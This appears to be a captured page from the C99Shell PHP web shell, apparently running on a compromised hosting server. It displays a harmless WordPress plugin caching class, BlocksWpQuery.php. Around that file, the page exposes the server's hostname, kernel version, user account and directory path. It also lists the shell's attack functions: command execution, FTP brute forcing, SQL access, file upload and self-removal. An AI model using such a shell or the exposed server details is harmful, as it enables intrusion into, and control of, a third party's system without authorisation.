!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-blocks/src/Utils/   drwxr-xr-x
Free 293.22 GB of 429.69 GB (68.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BlocksWpQuery.php (2.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Automattic\Kkart\Blocks\Utils;

use 
WP_Query;

/**
 * BlocksWpQuery query.
 *
 * Wrapper for WP Query with additonal helper methods.
 * Allows query args to be set and parsed without doing running it, so that a cache can be used.
 *
 * @deprecated 2.5.0
 */
class BlocksWpQuery extends WP_Query {
    
/**
     * Constructor.
     *
     * Sets up the WordPress query, if parameter is not empty.
     *
     * Unlike the constructor in WP_Query, this does not RUN the query.
     *
     * @param string|array $query URL query string or array of vars.
     */
    
public function __construct$query '' ) {
        if ( ! empty( 
$query ) ) {
            
$this->init();
            
$this->query      wp_parse_args$query );
            
$this->query_vars $this->query;
            
$this->parse_query_vars();
        }
    }

    
/**
     * Get cached posts, if a cache exists.
     *
     * A hash is generated using the array of query_vars. If doing custom queries via filters such as posts_where
     * (where the SQL query is manipulated directly) you can still ensure there is a unique hash by injecting custom
     * query vars via the parse_query filter. For example:
     *
     *      add_filter( 'parse_query', function( $wp_query ) {
     *           $wp_query->query_vars['my_custom_query_var'] = true;
     *      } );
     *
     * Doing so won't have any negative effect on the query itself, and it will cause the hash to change.
     *
     * @param string $transient_version Transient version to allow for invalidation.
     * @return WP_Post[]|int[] Array of post objects or post IDs.
     */
    
public function get_cached_posts$transient_version '' ) {
        
$hash            md5wp_json_encode$this->query_vars ) );
        
$transient_name  'kkart_blocks_query_' $hash;
        
$transient_value get_transient$transient_name );

        if ( isset( 
$transient_value$transient_value['version'], $transient_value['value'] ) && $transient_value['version'] === $transient_version ) {
            return 
$transient_value['value'];
        }

        
$results $this->get_posts();

        
set_transient(
            
$transient_name,
            array(
                
'version' => $transient_version,
                
'value'   => $results,
            ),
            
DAY_IN_SECONDS 30
        
);

        return 
$results;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0962 ]--